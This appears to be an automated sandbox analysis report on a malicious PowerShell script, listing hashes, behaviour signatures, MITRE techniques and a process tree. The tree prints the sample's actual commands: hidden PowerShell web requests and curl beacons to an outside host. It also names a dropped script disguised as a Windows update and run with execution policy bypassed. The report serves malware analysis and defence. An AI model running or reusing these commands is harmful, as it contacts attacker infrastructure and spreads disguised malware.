2d2a95ddad86b51aceba55a10dc9d66489e7188f50cb8cd1eff7af115d136966

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 16:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2d2a95ddad86b51a.ps1
Size 1KB
Sample261024-tqdr7avyct
SHA256 2d2a95ddad86b51aceba55a10dc9d66489e7188f50cb8cd1eff7af115d136966
MD5 a468c8c48116c5f584127f21603c6451
SHA1 33c812b0a7cff8e186ed8adc61bde9409fa6523d
SHA512 815517cd493d03efd59aeb11da3b69724dc36a617294f8d1f0cc4ece5740f12541ac81e27e91dff2c5d36bf68f4c4e85c7bcf37badcaa93a70d879fe5f6edd08
TLSH
T18B11F34456124CC182570BD3386B739AE43D939D867B399B03F7405023A8BC67D9BC99
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4512	powershell.exe
11	4512	powershell.exe
15	3776	powershell.exe
17	3880	powershell.exe
21	1904	powershell.exe
30	4512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4512	powershell.exe
1904	powershell.exe
3776	powershell.exe
3880	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4512	powershell.exe
4512	powershell.exe
3776	powershell.exe
3776	powershell.exe
3880	powershell.exe
1904	powershell.exe
1904	powershell.exe
3880	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeIncreaseQuotaPrivilege	4512	powershell.exe
Token: SeSecurityPrivilege	4512	powershell.exe
Token: SeTakeOwnershipPrivilege	4512	powershell.exe
Token: SeLoadDriverPrivilege	4512	powershell.exe
Token: SeSystemProfilePrivilege	4512	powershell.exe
Token: SeSystemtimePrivilege	4512	powershell.exe
Token: SeProfSingleProcessPrivilege	4512	powershell.exe
Token: SeIncBasePriorityPrivilege	4512	powershell.exe
Token: SeCreatePagefilePrivilege	4512	powershell.exe
Token: SeBackupPrivilege	4512	powershell.exe
Token: SeRestorePrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeSystemEnvironmentPrivilege	4512	powershell.exe
Token: SeRemoteShutdownPrivilege	4512	powershell.exe
Token: SeUndockPrivilege	4512	powershell.exe
Token: SeManageVolumePrivilege	4512	powershell.exe
Token: 33	4512	powershell.exe
Token: 34	4512	powershell.exe
Token: 35	4512	powershell.exe
Token: 36	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	4512	powershell.exe
Token: SeSecurityPrivilege	4512	powershell.exe
Token: SeTakeOwnershipPrivilege	4512	powershell.exe
Token: SeLoadDriverPrivilege	4512	powershell.exe
Token: SeSystemProfilePrivilege	4512	powershell.exe
Token: SeSystemtimePrivilege	4512	powershell.exe
Token: SeProfSingleProcessPrivilege	4512	powershell.exe
Token: SeIncBasePriorityPrivilege	4512	powershell.exe
Token: SeCreatePagefilePrivilege	4512	powershell.exe
Token: SeBackupPrivilege	4512	powershell.exe
Token: SeRestorePrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeSystemEnvironmentPrivilege	4512	powershell.exe
Token: SeRemoteShutdownPrivilege	4512	powershell.exe
Token: SeUndockPrivilege	4512	powershell.exe
Token: SeManageVolumePrivilege	4512	powershell.exe
Token: 33	4512	powershell.exe
Token: 34	4512	powershell.exe
Token: 35	4512	powershell.exe
Token: 36	4512	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 3776	4512	powershell.exe	86
PID 4512 wrote to memory of 4704	4512	powershell.exe	88
PID 4512 wrote to memory of 1904	4512	powershell.exe	90
PID 4512 wrote to memory of 3880	4512	powershell.exe	91
PID 4512 wrote to memory of 2904	4512	powershell.exe	94
PID 4512 wrote to memory of 836	4512	powershell.exe	96
PID 4512 wrote to memory of 3288	4512	powershell.exe	98

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\2d2a95ddad86b51a.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok
  2⤵
  PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\update-KB4026149.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3880
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:2904
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:836
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -4 -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:3288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 76a47fe4016493ab3da86de5e4dd140fad102d0daba94894d4df6a4061b6a0a4
MD5 47be48894c9e0f5c144d7c16dd06c29d
SHA1 633a63d5fb64f4ff39a99fd5c565e80357518226
SHA512 33fd0032267e080b1cf50e76c943d3d5deb4d107a9abfa28e1b42691a904b9dd64e65cdc521ff16ef1019fb8efcc2512df6864774acde9a4da64da4df2ace0c5
TLSH
T1B9114523F38C8920CC96163A509DAC5172B586CB81AFDF9F7FC0C210E1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7794c872924b4f40ef5a4bce0cd96415e67bca4cbfdb44151ef445ce0553cb41
MD5 86c9de9ea235b24d7683cdabfb13a4fd
SHA1 065887e1a535fb6be8dfb90c659af88365640eb2
SHA512 0481211a2d6179304793c8ac9254aacb3b26434883abf38b88d03d72cb1bb8609beed1ad447459109d4832bf468fb14aca28b88c6495b68d145ef6f5ffa793bd
TLSH
T132317927B39CC921DCC9153A629C9C50727683C7C09ECF9F6EC0D61195BFAD5CB69150
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4hhmqkuw.lzt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hhmqkuw.lzt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

update-KB4026149.ps1

Path C:\Users\Admin\AppData\Local\Temp\update-KB4026149.ps1
Size 2KB
SHA256 e96c3abaa3185534f1f6c5765b391ba017b75f9d2955a68fdd9b44d2c1f93fd7
MD5 a83b53be7aae1ca9d252cf9c660880f1
SHA1 45a5b5556bc9403fd635f411928d461a05eec9a4
SHA512 cf35a8855ea2c7f802b8b7ee6ef0d52a896a5721036cc219036c7d84976ee53a010a4fd4c7ebf4032b5436ff324844562ea2f033bdacb5f0af86268f7fe018a6
TLSH
T1D84174B69BF945D406E3CA16B8EFB2149D29403F948B4E10B9AC5380FFE419B4B712D6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3776-18-0x00000232C1740000-0x00000232C1750000-memory.dmp

Download

memory/3776-17-0x00000232C1740000-0x00000232C1750000-memory.dmp

Download

memory/4512-9-0x00000176DDFC0000-0x00000176DDFE2000-memory.dmp

Download

memory/4512-12-0x00000176C37E0000-0x00000176C37F0000-memory.dmp

Download

memory/4512-11-0x00000176C37E0000-0x00000176C37F0000-memory.dmp

Download

memory/4512-41-0x00000176DE890000-0x00000176DE8BA000-memory.dmp

Download

memory/4512-42-0x00000176DE890000-0x00000176DE8B4000-memory.dmp

Download

memory/4512-10-0x00000176DE970000-0x00000176DEB32000-memory.dmp

Download

memory/4512-0-0x00000176C37E0000-0x00000176C37F0000-memory.dmp

Download

memory/4512-1-0x00000176C37E0000-0x00000176C37F0000-memory.dmp

Download